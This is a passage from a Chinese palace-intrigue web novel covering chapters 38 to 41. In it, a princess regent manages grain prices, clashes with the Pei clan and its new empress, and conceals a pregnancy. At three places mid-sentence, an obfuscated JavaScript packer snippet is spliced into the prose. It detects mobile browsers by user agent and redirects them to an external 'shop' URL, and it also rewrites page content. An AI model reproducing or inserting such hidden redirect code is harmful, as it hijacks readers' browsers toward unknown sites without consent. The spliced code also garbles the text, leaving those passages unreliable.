“是。”陈蕴微微颔首,“微臣领彤管阁众女官认真仔细拜读了裴御史的《南行杂记》,其中点出大齐如今存在的两大弊端亟待解决:一是民间货币私铸;二是豪绅土地兼并。大齐币制自明帝后历经三轮改革,皆无所获,即便是严刑酷法也屡禁不止。五王之乱后,郡国铸币更是无人管辖,民间私铸甚多,或缺斤少两或规制不准,流入市场,祸乱商价,实一大祸患。 “再说这土地兼并——高祖时国初建,地多人稀,失田失业者少,权贵们也还没到大量敛财收田的地步,百姓们手中大多有田有房,日子还算好过。而如今大齐历经七代,人口早已翻番,可垦田数量却不曾有大的改变,依旧集中在黄河两侧,长江中游、下游或许还有些,但与黄河流域相比都不足为题。田少人多导致分到每个人手中的田地变少,加之前权贵地主豪绅金银财富、人脉权势积累,常有强买逼卖之事发生,前朝苛捐杂税,百姓们歉收之时,只能卖田为生。” 王铮意道:“还能卖田都是好的,有些人家连田都没有了,只能卖儿卖女卖妻……” 我细细思忖一番:“田地与铸币的问题要解决并非一日之功,这两件事得放到后面。如今当务之急,是解决百姓们最在乎最关注的事情——粮价疯涨。贫者买不起,富者不愿卖,只要先解决了这个问题,百姓的怨气就会少很多。” “那散播谣言者,是否需要惩戒?”傅妁问道。 “先找到那几个人,但是不要动,等到粮价的事快解决了,再杀鸡儆猴。若是他们还有动作,把苗头掐灭即可,不要打草惊蛇。这件事交给萱萱,彤管使随你调任。”我吩咐,“陈蕴,开各郡县广济仓的事情交给你,务必盯牢每个仓吏,不能让他们从中贪污,谋取私利,一定要保证广济仓的粟米流入市场,控制粮价。傅妁、冯曦、小蛮,你们三人分别负责开仓的文书撰写、粮种筛选和市价规定,我给你们放令牌,可随意出入治粟内史衙门,参阅档案公文,与刘勉郑辽等人参政议政。若有人阻拦,上报萱萱,叫她去拿人就行。” “是。”彤管阁众人齐声应下,好似就在等这么个机会让她们证明自己。 政令一下,我便叫人盯住麟趾殿。裴开项只去了一次便再没进宫。没过几日,前朝后宫便传出了皇帝要封后的消息。早朝时,也有不少大臣们提请,说陛下年纪小又体弱多病,需要一个皇后照顾陛下,替陛下管理后宫、早育子嗣。 多正常合理的理由啊,我根本没有拒绝的道理,只能应下。 太常与宗正筛选出合适的人选拟定名册,我这边一册、姜旻那边一册。翻开一看,裴季蕙的名字赫然在列,还排在第一个。 十七岁的姑娘,比姜旻大了整整四岁。当初肖溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338258|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才十五岁姜旻都招架不住,何况是美貌机警的裴家女。 裴开项这是下了狠心要与我斗到底,为此不惜将裴开岫的女儿送上皇后的位子。 再怎么拒绝也于事无补,不如做个顺水人情,也好安抚一下裴家的情绪,让这出戏能继续演下去。 我前后花了五天的时间,热热闹闹地在国库里挑选了十箱宝贝。整个未央宫都知道长公主为了给自己的皇帝弟弟选聘礼,将少府折腾得脚不着地晕头转向。 聘礼被风风光光地送去裴府,裴开岫在裴开项的陪同下满面春风地接过聘礼,叩拜三下,高呼:“谢殿下恩典。” 太史令选定了两个月后的好日子,宫里紧张又忙碌起来。 看着满目张灯结彩,未央宫久违地变得热闹起来,不管走到哪个地方都是红彤彤的。 封后大典。阿旻竟然要成亲了。这让我觉得恍惚。仿佛昨日他还在我与母亲的怀中睡觉,明日便要为人夫为人父了。可他不早就做了这个国朝的君父了吗?他没有那样的能力。他成亲封后也不是因为他长大了,而是他憎恨我、怨恨我,想要对付我将我拉下高台。 我曾经也对婚礼、对婚姻有过很高的期待与向往,期待它们能带给我快乐自由与幸福,但如今我知道它们没有这个能力。我不会快乐,姜旻也不会。 封后大典上,皇帝陛下难得露面朝见群臣。姜旻似乎长高了,可又变瘦了,掖庭刚修整过的吉服穿在他身上又大了不少。太阳高高挂着,刺目的白光自上而下地照射,冕旒的阴影打在他的脸上,他的眼神空洞又诡异。 裴季蕙身着殷红云崖纹深衣,发髻高挽,配以玛瑙、琉璃、玉石、金银等首饰,整个人端正大气,熠熠生辉。她款步从太庙阶下走上来,身后是恭敬肃立的裴家人——真是钟鸣鼎食之家,历经四朝,裴家封侯拜相、为官做宰的人实在太多,底下前面三四排全是他们的人。 裴家长辈站在前头,裴开项裴开岫并立,裴仲琊裴林琅紧跟其后,更别提后面浩浩荡荡的小辈。 我头疼地闭上眼睛。 转头看见站在姜旻身边的裴季慧,我更加头疼地闭上了眼睛。 “礼法天地,敬告神灵——” “先祖在吉,敬告宗亲——” 礼官唱词,姜旻与裴季蕙一一叩拜。末了,敬香娱神,奏乐退场,庆典开启。 烟花在空中绽放,锣鼓喧天,我于鼎沸人声中目送我弟弟与他的妻子离开。 裴季蕙走过我身边时,悄悄地瞧了我一眼。我抬眼看她,她没有丝毫胆怯,朝着我微微一笑,牵着阿旻的手步下台阶。 裴仲琊站在阶下仰着头,不知是在看他的妹妹还是看我。他面色苍白,嘴唇微微发紫,厚重宽大的礼服罩在身上沉重又繁复,好似下一刻就能将他压死。 我垂眸不再看他。初夏的太阳晒得我脑袋发晕,不知为何眼前一黑,我急忙示意萱萱扶我。一双有力的大手将我搀住,往怀里带了带,宋君若低声问道:“需不需要宣太医?” 我赶忙摇头:“不用!不需要……” 众臣散去,裴仲琊仍旧留在原地看着我。 我的眼神掠过他,望向正在渐渐走远的田议,遥遥一指:“晚上,宣他入宫。” 39. 第 39 章 傍晚田议被带进广明殿,坐在最下首,时不时用眼睛瞟我。我没理他,自顾自地看着奏疏。天色慢慢暗下来,田议有些坐立不安,试探地问我:“殿下……是否要用晚膳了?微臣要不就不打扰了?” “留下吃饭。”我没看他,示意宫女们将晚膳呈上来摆在他的桌上。 田议明显愣住,他看看饭碗看看我,看看我看看饭碗,语无伦次:“殿下,我……我这……” “吃饭,别多嘴。吃完我有话问你。” 田议如临大敌,仿佛这顿饭是最后的鸿门宴,等他吃完我就要对他动刀子。 美酒佳肴,他没动几筷子就放下了。我却不惯着他,慢条斯理地吃着,一会儿喝口汤一会儿吃点鸡丝,一顿饭从黄昏吃到夜晚才叫人把碗筷收拾下去。 我擦着嘴巴,望向堂下的田议。想想他以往的嚣张气焰,如今谨小慎微的模样真真好笑 “最近过得如何?” 他或许根本没想到我会同他拉家常,一时语塞,支支吾吾:“我……我们……家中一切安好。” “安好?”我笑了,“你们当真坐得住?” 田议冷汗直流:“殿下治下,万事太平,人人都居其所,各安其事。” “田诠的位置没有给你,裴开项是如何劝慰你的?” 田议没有说话。 我叹气:“看来他连宽慰都没有宽慰你,对你很是失望啊。所以你想在帮他一个忙,好让他对你回心转意是吗?” 田议瞳孔倏地睁大,我继续说道:“那些传言,是不是你派人传出去的?你不说话也没用,传谣之人已经被彤管使抓了,他们也都说出了是谁收买的他们,要他们传什么、怎么传。你没有直接露面,但我知道那是你们田家的人,你抵赖不得。” “我动不了你,并不代表不能惩罚你。”我走到他身边,扔下一本《论语》,“我大齐的文人学子开蒙必读《论语》,悟其经义、晓其道理,学会为人处世、经世治国的本事。但如今看来驸马没有这般本事还要打肿脸充胖子,不如从头开始学起吧。萱萱,把笔墨给驸马备好。” 笔墨纸砚齐备,我朝他抬了抬下巴:“关于我的歌谣共五首四十个字,那就把这本《论语》抄四十遍吧。” 烛火晦暗,打在田议脸上影影绰绰,他右手紧紧地攥着毛笔,青筋颤抖又在一瞬泄力,抬起头来,是与方才一模一样的、谄媚的讨好的笑容:“是。” 我摒退下人,只留萱萱和小蛮侍候。拉下帘帐,褪去外衣,疲惫地陷进榻中。太阳穴总有一根弦在突突地跳,我翻过身,摸了摸肚子,眼皮打架,沉沉睡去。 一晚上自然抄不完四十遍的论语,我白天叫田议先回去,晚上再来。如此,一个月才将《论语》誊抄完给我。我终于放他自由,将这些《论语》装订成册,分发给掖庭里的宫女们。 宋君若来广明殿时脸色非常不好,好似刚从沙场上下来,血气缭绕,佩剑挂在腰际遇神杀神、遇佛杀佛。 “你……” 我的话还没有出口,他便火急火燎地冲过来:“你与田议怎么了?你……你不能与他……与他……为了什么?裴开项和阿旻联手你害怕了?你要从田家下手?你到底在想什么姜毓卿!田议这样肮脏无用的人怎配入你眼?” 见他终于愿意理我,我连忙将他按在座位上,叫侍女们上茶点吃食。 “你终于肯理我了?” “这不是我来找你的重点。你……你宁愿与田议……难道我比那田议差吗?” “我们俩没什么,我也不乐意他碰我。散播谣言他是幕后主推手,我不过就是把他叫过来抄东西,惩戒他一下罢了。” “可是宫里到处都在传……” “我知道。”我道,“随他们去。田诠死了,裴开项早就想放弃田家培养新的势力,我不过是利用田家打个障眼法,让他觉得我想利用裙带关系拉拢田家对付他。裴开项是个什么都想要的人,若是见着田家依附我心中必定不平。到时候他们新宠旧宠放一窝,有的好热闹了。” 宋君若听完我的一番话,沉默不语,眼见的起身就要走,被我一把拉住:“还和我闹别扭呐?姐姐也不认了吗?” “我说过了,我想要的比弟弟多。你如今给不了也不想给,我只能离你远点。” 我气笑,一把甩开他的袖子:“那你走吧,走得远远的,这光禄左中郎将也别当了,未央宫也别待了。回你的临淮当长阳侯世子去,去啊!” “我……”宋君若说不出话来,气得涨红了脸,一屁股坐在了我身边,还就是不走了。 “我跟田议真的没什么。” “那你和裴仲琊呢?”宋君若盯着我问。 这下轮到我语塞了:“我……我们俩的事情你从头到尾都知道啊!你现在又朝我吼什么!” “以前的事是知道啊,那现在的事呢!以前和现在能一样吗!能一样吗!” “我跟他已经没有关系了!”他朝我吼我也气急了,立即吼回去,“你在这个样子,那我也跟你没有关系了!” “你就是仗着我离不开你!你就是仗着我依赖你!”宋君若蹭的一声站起来,委屈又生气地看着我。 我也不甘示弱,直接站到几案上与他平视:“对啊!我就是这么恶劣这么坏啊!我就是仗着你不想走气你啊!你本事咬我啊!” 宋君若果然是个言出法随的人,我一声令下他就直接缠上来吻我。手臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361167|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如同铁一般将我的腰紧紧箍住,骨头似乎都要被勒断。唇舌追逐交缠,他像个发狠地猛兽圈禁领地,将我困顿其中。 “松开我……我的肚子!” 可宋君若根本不听我的话,愤怒让他只懂得一味地进攻。不管我怎么打他咬他,他都不在意。 身子被临空抱起,轻轻地放到榻上,宋君若高大魁梧的身躯压下来,吓得我连连后退。左腿被扯了过去,他撑在我的上方,定定地瞧着我。 我缓过神来正要骂他,面上忽然一热,滴下一滴泪来——宋君若哭了,一双澄澈干净的眼眸蓄满了泪水,正一颗颗地砸在我的脸上。 心下轰然,我又惊诧又无措——我从来没见过他哭。即便是曾经被父亲抛弃,被继母下毒都不曾掉眼泪的他,此时此刻眼眶通红,泪如雨下。 “你要赶我走?”宋君若声音颤抖,“就因为我和你吵架,我讨厌裴仲琊和田议,你就要赶我走?姜毓卿我告诉你,我不走!我说了要一辈子陪在你身边就会说到做到,即便我死在了战场上,化作孤魂野鬼,我也一定会回到你身边,看看你过的好不好,谁陪在你身边,然后入你梦乡,告诉你你永远不许忘了我!” 我根本看不得他这个样子,张了张嘴欲言又止,只好伸开双臂,微微起身抱住他的脖子:“好了好了,我方才说的都是气话,怎么还当真了呢?” “我怎么不会当真?你说的每句话我都当真!就连你此前说你不会再与裴仲琊有任何的瓜葛我都当了真!天底下还有像我这样的傻子吗?”宋君若得了便宜还卖乖,不停地控诉我,“我们都是从小一同长大的,可为什么你我的情分就是比不过你和他的情分呢?为什么前一刻你还对我柔情蜜意,下一刻只要裴仲琊来了,你就转头奔向了他呢?” 宋君若的一声声叩问,仿佛是我自己对自己的质问。是啊,为什么呢?为什么呢?一次次的心软与犯错,如此优柔寡断,根本就不是曾经的那个姜毓卿! 我想不到答案,只得囫囵糊涂地说出一句话:“可能……我的心从一开始就是偏袒他的。” 宋君若得到了自己想要的又不想要的答案,我也是。 他看了我良久,我也看着他,二人无话。忽然,他从我身上起来,落寞地坐在榻上。我收拢衣裳,伸手小心翼翼地想要触碰他,却被宋君若适时地躲开。 他从榻上起身,抹了把脸:“我走了。” “阿若!”我喊道,“若是……若是日后姐姐……做了一些你无法接受的事情,你……你还愿意认我,站在我这边吗?” 烛光太暗,阿若太远,我看不清他脸上的表情。 殿中静默无声,良久我才听见他自嘲地一笑,头也不回地离开了。 40. 第 40 章 广济仓开仓投放粮食,粮价从一石一百五十钱下降到了一石九十钱。事态暂时稳住,此前沸沸扬扬的传言也得到了一定的遏制。 傅妁编了几首童谣上呈于我,其中一首颇得我心—— “后土后土,安定南土。仓廪满谷,是为我黍。后土后土,公心吐哺。降世救苦,是为卿主。” 傅妁道:“殿下为国为民之心,所做之事决不能被奸人污蔑蒙蔽。若他们能传谣,那我们也能自己编纂童谣,让天下人都知道殿下为他们到底做了什么!” “我与内相夜观天象,三日后长安东郊必有一场大雨。东郊大河涨水,届时我们将铭文玉石放入河渠,待到雨停退潮,众人见之,必将以为鬼神之告,后传遍百乡,那在殿下身上的谣言就会不攻自破,殿下所做的功绩也会让众人知晓。”王铮意道。 我点点头,彤管阁的诸位都是各种能人,有她们帮衬,必定事半功倍。 “近段时间,除了我们开仓放粮外,皇后娘娘也差人奔走各地豪绅,叫他们放粮捐粮,还在长安城、右扶风等地的郊外设立了粥摊米铺,价格都比市面上便宜不少,说是陛下体恤百姓疾苦,特命她这么做的。”陈蕴递上奏疏。 冯曦有些打抱不平:“皇后娘娘此举虽是好心,但裴家之人如何能以常人之心论之。皇后所作所为简单易行容易传颂,易得百姓之心。再说了,他们裴家要几个豪绅放粮,设几个粥摊米铺低卖粮食是多么简单的事情,殿下所作之事覆盖全国,要权衡整个大齐几百个县,是多么难的事?如今倒好,他们裴家风头一时鼎盛,民间竟生出了殿下不如陛下皇后的言辞。” 我叹气,抬手示意冯曦收声:“百姓只在乎谁能让他们过好日子,谁对他们好他们自然向着谁。你们所听到的传言不过也只是长安地界的话罢了,再远他们也伸不了这么长的手。只要我们继续开仓放粮,调平粮价恢复到往日的一石二十钱左右,百姓就会照旧过日子了,也不会说谁不如谁的话了。至于往后……我们要做的还有更多,尤其是私铸货币与抑制土地兼并之事,此乃国之根本,若是不妥善解决,怕是会动摇大齐根基。 “与裴家乃朝廷内斗,恩怨之事必了,但切不可拿百姓之事开玩笑,一切都要以百姓之事为先。今日皇后娘娘做的事,虽有于我们不利之处,但对百姓是好的,那就让她去做,做得越大越好。我们也要继续做我们应该做的事,到时候孰是孰非,孰好孰坏,百姓心中有称,他们会自己衡量。” 女官们望着我,恭敬称“是”。 内朝将散,但许是我们讨论了太久的裴家人,真正的裴家人,我们的皇后娘娘竟在这个时候来了,还带来了掖庭令与削减后宫开支的懿旨。 很好。在此之前,未央宫中只有我的懿旨才是最高的命令,连皇帝的圣旨都不曾有。如今来了个裴季蕙,倒是要给我下懿旨了。 “见过姐姐。”不叩不拜,裴季蕙就直挺挺地站着,朝我颔首。 身后的掖庭令瑟瑟发抖,双腿有些站不住,手上捧着一卷懿旨,低眉顺眼不敢吱声。 我笑了笑,靠坐在椅背上:“皇后不在麟趾殿待着照顾陛下,何事来广明殿啊?” “臣妾今日前来,是为了向姐姐讨要一个公道。”裴季蕙的眼睛和裴仲琊很像,这或许是他们裴家人唯一的优点了。 “什么公道,你说吧。”我摆摆手,让彤管们尽数下去。 “如今粮价尚高,仍旧有许多百姓无粮可食,忍饥挨饿。臣妾于心不忍,设立粥摊米铺望能尽绵薄之力,也想着缩减后宫开支,捐赠百姓以助他们渡过难关。是以,臣妾今日命人拿了懿旨去掖庭,谁知这掖庭令不仅以下犯上还推卸责任,说此事不能直接经由他们去做,应当要彤管阁亲自过目才行。 “可彤管阁与姐姐处理朝政日理万机,后宫小事如何能事事来请示叨扰您呢?必定是这掖庭令怕得罪人,不想干事,这才拉出您来搪塞臣妾。还请姐姐秉公处置,还臣妾公道与尊严。臣妾贵为皇后,若是被这些个宦官侍从作弄,实在是有损陛下颜面与皇家天威啊!” “殿下!殿下!奴婢当真没有啊!当真没有!”掖庭令“扑通”一声跪下,“您就是再借奴婢一千个胆子奴婢也不敢对着皇后娘娘拿乔托大啊!” “本宫还当是什么事儿呢。”我笑看着裴季蕙,“不就是这么点小事儿,皇后不必放在心上。掖庭令也不是推卸责任,只是从前后宫就本宫一个女人,凡事确都是本宫在照料,如今有了彤管阁,这些事便交给楚宛了。皇后啊,你冤枉掖庭令了。” 裴季蕙像是方才知道真相,十分惊慌:“原来……原来是这样,臣妾初来乍到,对宫中之事不甚了解,只是听闻历朝历代后宫之事皆由皇后执掌。臣妾初为新妇,想着定要替陛下与姐姐料理好后宫之事……” “曾经确实皇后掌管后宫。”我知道她想要什么,但若是直接给她,那就不是我姜毓卿了,“可现在不是。皇后曾经在家中为小女儿必定是能干非常,管家的一把好手。但管理后宫与管家有十分的不同。在家中,规矩是你父亲定的,你父亲疼爱你,家中奴仆众人自然事事都向着你。但是……” 我倾身向前,注视着她:“这里的规矩是本宫定的。皇后也是知道的,本宫一人要兼顾前朝后宫很是疲倦,前朝皇后差不了手脚,但后宫之中确有一人皇后能帮我排忧解难。那就是你的夫君——当今的天子,我的弟弟姜旻。他身子很不好,还有毒瘾,你要好好照顾他,看守他,不能让他犯错,要匡扶他,指引他。所以……在阿旻好起来之前,你就在麟趾殿好好陪着他吧,外面的事就不必操心了。若有所需,可叫掖庭令来告诉我。放心,这回他肯定听话照做。” 裴季蕙怔愣地看着我,根本不知道该如何接话。我喊了萱萱进来:“快入夜了,送皇后回麟趾殿吧。未央宫很大,皇后日后无事就不要乱跑了,免得迷了路,跑到了前朝去该如何是好?殿下年纪眼见着也大了,多想想如何为皇家开枝散叶,物色物色更好的妃嫔人选才是正理。送客吧。” 萱萱带着脸色苍白的裴季蕙出了殿门,陈蕴走了进来,望着裴季蕙远去的身影叹息:“好好一个姑娘,非要来这虎狼窝,也不知道裴开岫是怎么想的。” “还能怎么想?当然是乐见其成啊。裴开项乃旁支的旁支,能被裴开项父亲从琅琊的一个小村庄里薅出来,归根结底,就是因为裴开岫没用,不争气,保不了裴家的荣华富贵。他嫉恨裴开项已久,如今能把自己亲生女儿送进宫做皇后,早就关起门来放炮仗了。裴季蕙能干聪明,若知我们与裴家的曲折之事,必定也不想来。 “如今看她跃跃欲试的模样,恐是被自己父亲骗得不轻。什么皇后为中宫之主,后宫一切由你统领,你和哥哥前朝后宫互相帮持,姜毓卿也奈何不了你们等诸如此类的话,必定被裴开岫说得天花乱坠。到底是个单纯孩子,只是跟阿若一般摊上了一个唯利是图的父亲,只能怪她自己命苦了。” 陈蕴道:“如今后宫与前朝尽是裴家之人,日后我们的路……可就越发不好走了。” “所以,我们要走好现在每一步路。”我递给她光禄勋与执金吾的调动名单,“裴家最令人头疼的是他们的兵权。阿勒奴一战,主要兵力为北境三郡的守军和从京城调拨过去的北军三千骑兵。但裴家在阿勒奴战役中失利,阿若新秀崛起,北军中有不少人都十分敬重崇拜他。如今他在光禄勋统领下,时常被裴家压一头,即便有我照拂,怕也是难以出头。” “所以殿下想将小宋将军调去北军?” “你觉得如何?” “北军也有裴家的人啊。何况北军虽有五万人,但光禄勋统领的可是宫城禁军,是最靠近未央宫的。要我说,禁军怕是比北军更重要。五王之乱后,各诸侯王都知殿下威武,万万是不会重蹈五王覆辙。如今大齐国力强盛,阿勒奴也不会随意来犯,更不会打入长安城。北军以抵御外敌为主责,若是乱世,将小宋将军放在北军倒是大有可为。 “可如今太平盛世,重要的是这未央宫,是那把龙椅让谁来坐。微臣私以为……还是叫小宋将军待在禁军最好,您可点拨他,叫不要他在禁军中钻牛角尖,多去北军或是方家方宏卫尉那边的南军走动走动,那里多的是赏识他的人。有了人脉、朋友,心情与底气自然不一样了。”陈蕴笑道,“自然也不会觉得,自己事事都是靠殿下您了。” 我听她这话失笑:“你也有所耳闻吧?禁军当中老是传他与我有床围私事,说他空有一身本事,却爱干面首的勾当。你说他年轻气盛,怎么可能受得了这委屈侮辱,抬手就把人揍了。” “小宋将军是不想别人折辱您。”陈蕴一语道破。 我叹气:“我与他……最近老是吵架,平日里我们都忙,他不来看我,我也不能去看他。如今他受委屈也不肯来找我,我心里很是烦躁,就想着帮他解决一下。” 陈蕴摇摇头:“小宋将军智谋、力气都有,但就是为人处世简单直率,容易吃亏。让他待在禁军历练历练,这方面的长进必定比在北军快不少。” 陈蕴言之有理,我点头允诺,将调任的懿旨撤回。 “你放才说的方宏,我倒是很少想到他。不过方家子弟做事向来认真严谨一丝不苟,坐着卫尉的位置,不偏不倚,刚好。算来,我们姜家与方家也算半个亲戚。” “半个亲戚?”陈蕴疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369981|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑,“哪儿来的亲戚?他们家出过什么嫔妃?” 我笑了:“这你就不知道了吧?陈年旧事了。方通的外祖母是永安大长公主姜瑉君,论辈分……我得叫永安公主一声姑老太太,叫方通……”我算了半天没算出来,“就是爷爷的爸爸的堂妹的女儿的儿子。哎呀早出五服了,半个舅舅都算不上。” 陈蕴也翻着眼皮算了半天,最后失笑放弃:“算了算了,我们家人丁稀少,我又从不参加亲戚聚会,算这种东西,我还是更加愿意天天算数看星星。” 我也笑:“永安公主和亲去了禺戎,生下一个女儿嫁到了乌善,这个女儿呢又生下一个儿子。后来乌善被灭国,这个女儿就带着自己的儿子来到了她母亲永安公主的家乡齐国,将孩子抚养长大后,自己走了,孩子留下了。我太爷就给这个孩子起了个名字,叫方通,就是现在的方大人。 “你从前不是问我为什么方大人与裴相如此不合吗?”我说,“十五年前阿勒奴出兵禺戎,禺戎部分部落被阿勒奴吞并,另一部分则向西南逃亡。那时方通上书爷爷,希望爷爷能够出兵攻打阿勒奴,以免他们蚕食周边国家壮大自己的力量。方大人明面儿上是为大齐,但是谁都清楚,方大人为的是远在禺戎的自己的母亲。 “但当时大齐百姓安居乐业,粮食够吃钱也够花,爷爷也正在改良币制,便觉得远在西北的战事,我们大齐没有必要掺和一脚,百姓生计才是头等之事。太爷时大齐与阿勒奴打了太久的仗,战事动辄损耗极大,爷爷实在不想再起事端,害得百姓苦不堪言,所以没有答应方大人。” “天子以臣民为重,理之应当。” 我点头:“话是这么说,方大人也懂这个道理,但人有七情六欲,哪能真正做到公私分明?所以他自己派了人马去禺戎找母亲。但是母亲没有找到,兄弟姐妹也没有找到,却知道了阿勒奴攻打禺戎的真相——是木曲从中挑唆。这个木曲就是当年害乌善灭国的国家。木曲临近阿勒奴,阿勒奴本意是先进攻木曲,但木曲国王与阿勒奴周旋,说他们西域背靠齐国,只要他们进攻西域其中之一的国家,齐国就不会坐视不理。阿勒奴打得过他们,但是打得过齐国吗?显然不能。阿勒奴单于这样一想,就不攻打木曲了。 “本来这事儿到这就结束了也没什么,但木曲的国王嘴巴真是坏!偏要再说一句,禺戎部落内斗,正是瓦解的好时机。阿勒奴单于一听有道理,立马转头去打禺戎了,一连拿下四五个部落。 “方大人得知消息后,整日以泪洗面,朝都不上了,听说还生了一场大病。更加火上浇油的是什么呢?是有人告诉他,爷爷不出兵,其中有裴开项从中作梗。裴开项是当时最不赞成出兵的人,他觉得羁縻之策才是应对外邦蛮夷最好的办法,以经济控制为先,军事镇压为辅。齐国也不应该再以自己的威望让西域诸国动荡,不应该让自己强大的力量被他人利用去复仇。” 陈蕴面露难色:“简直就是指着方大人的鼻子在骂。” “事情还没完呢。禺戎本有四十八个部落,那时被阿勒奴蚕食得只剩下二十三个。方大人的母亲、兄弟姐妹杳无音讯,但木曲和裴开项却得到了爷爷的嘉奖。方大人至此……心里便留下了疙瘩。方大人虽自小生长在齐国,但他身上汉人的血脉又有多少?这么多年方大人历经四朝,仍旧对大齐忠心耿耿、恪尽职守,也当真是个圣贤君子。” “难怪朝堂上除了国舅爷,也就方大人敢直言不讳地呛裴相了。” 肚子咕噜噜地叫,我招呼侍从传膳,留陈蕴陪我一起吃。 “所以,方家在日后会成为我们最有力的臂膀。” 夜色降临,侍从们点起烛台,将吃食一道道端上来摆满几案。烩獐肉,蒸羊羔,咸鸡雪里蕻,还佐以冰雪酥醪与林檎汁,都是我往日爱吃的东西。 陈蕴每一道菜都尝了一遍,确认无误后将碗筷递给我:“殿下今日喝酒吗?” “不,不喝。” 陈蕴笑:“怎么?殿下打算戒酒了?冬天的时候还一直嚷嚷着不醉不休。前几日会稽送来好几坛黄酒,我还同母亲说要给殿下您留着呢。” “都说黄酒要放一放才好吃,就先留在你地方吧。” “殿下吃肉。”陈蕴加了一筷子到我碗里。 我端起饭碗,却怎么也吃不下。胃里突然翻江倒海涌上喉间,被我生生咽了回去。 陈蕴看着我,平静地问道:“需要请太医吗?” “不用。”我扒拉一筷子饭送进嘴里,招呼她吃菜,“就是最近太累了,天气又热,吃不下什么东西。” 陈蕴却不说话了,放下碗筷,定定地看着我:“殿下,您是不是有孕了?” 41. 第 41 章 陈蕴的敏锐并没有给我多大的意外,她聪慧又时常与我在一处,猜出来不过是时间的问题。 我沉默地点点头,并不打算隐瞒她。她目光温柔讶异地注视着我的肚子,问道:“我可以摸摸吗?” 我张开双臂,陈蕴的手轻轻地贴了上来。肚子并未显怀,但她仿佛真的能感受到里面有个小生命:“热热的。” “是我的肚子热热的。”我笑着说。 “殿下下一步打算怎么办?月份大了可就瞒不住了。” “你不问问是谁的孩子?” 陈蕴笑着摇头:“这不是我该问的,我只要知道这是殿下的孩子就行了。其余我要做的,是帮助殿下把这个孩子名正言顺地生下来,抚养长大,辅佐她成为像殿下一样的人。” 我心中感慨,抚摸着微微隆起的小腹,感受着与我共享生命的这个小东西:“不管这孩子的生父是谁,从今往后,他的父亲只有一人——那就是田议。” - 夏雨强劲,豆大的雨滴打在窗棱上劈啪作响,喝下一碗安胎药,底下关于粮价的事情也讲得差不多了。 刘勉呈上各地粮价报表,我粗略一看,没有什么大问题:“粮价稳定下来,等夏粮上市时,百姓们也可心安了。” “一切都是殿下筹谋得当。” 我抬手让他别再说这些奉承的话,叹气道:“粮价波动大也不是我朝独一份的事儿,不管是大齐还是别的朝代,都有这么一遭,若是碰上灾荒更是要命。这归根结底还是粮食产量不足导致的。 “我细看了裴御史写的《南行杂记》,上书江南江东虽多丘陵,但水系丰茂尚有平原可供耕种。然南方地广人稀,多山又多瘴气,北人安土重迁,即便流离失所也不大愿意去南边开荒,这才使得北边耕田越来越少,流民越来越多。要知道,我大齐疆土,若是人人均分,那每个人分到的都是一块大地,仅凭一人之力种不完也吃不完。如今闹得如此局面,还是人口太过聚集,土地开发太少。” “殿下的意思是……想要迁徙一批流民前往南方?”陈蕴问。 “正有此意。五王之乱后,流民大都安置在各郡县,帮人徭役耕种,但这终究不是长久之法。人若无安身立命之本,不得生存,不得希望,便不得未来,不得长久。如今这样的人在我大齐还算少,若是有朝一日变多了,那不得希望未来的不就是我的大齐了?所以,该好好安置他们。若我要徙民,诸位觉得哪里是合适的地方?冯曦、王铮意、陈蕴,你们说说。” 王铮意低头细细思忖一番:“私以为临近会稽的丹阳县倒是颇为合适。” 陈蕴道:“微臣与王大人不谋而合。丹阳县毗邻会稽,又据长江之优势,西临彭蠡泽,东临太湖,水系丰茂,地势平坦,又远离诸侯国,实在是不二之选。” “裴御史此次南游还从南境外邦带来双熟稻的种子,微臣与彤管使们在上林苑辟出一块田地耕田试验,于春季栽下秧苗,如今已快抽穗了!若是殿下选定丹阳为徙民之地,不如连同这个双熟稻一起带过去!丹阳之地湿热,更适合双熟稻,必定能比在长安长得更加喜人。”冯曦眼中神采奕奕,兴奋极了。 我心中感慨,即便在这宫中步履维艰,但我至少还有她们能为我走出每一步。 政事商量得差不多,众人散去,刘勉看了看我放在边上的药碗问道:“殿下最近身子不爽利吗?” “没有。就是……”我表现得有些犹豫,“此事告诉表哥与舅舅也无妨,我怀孕了。” 刘勉震惊得瞳孔立即睁大,手上的奏疏险些掉到地上:“有……有孕了?这……这孩子……” “驸马还不知道。”我神色恹恹,“表哥也是知道的,我与驸马感情不佳,我忙于政事,他专于后宅。我们二人的结合又与裴家多有牵扯,何况田诠方才被刺死,这孩子的到来……于我们二人而言,也不知是喜是忧。” 刘勉沉静半晌,见四下无人,走上前几步悄声问道:“殿下,这孩子……当真是田议的吗?” 我望着他的眼睛,认真又笃定:“没错,只能是他的。” 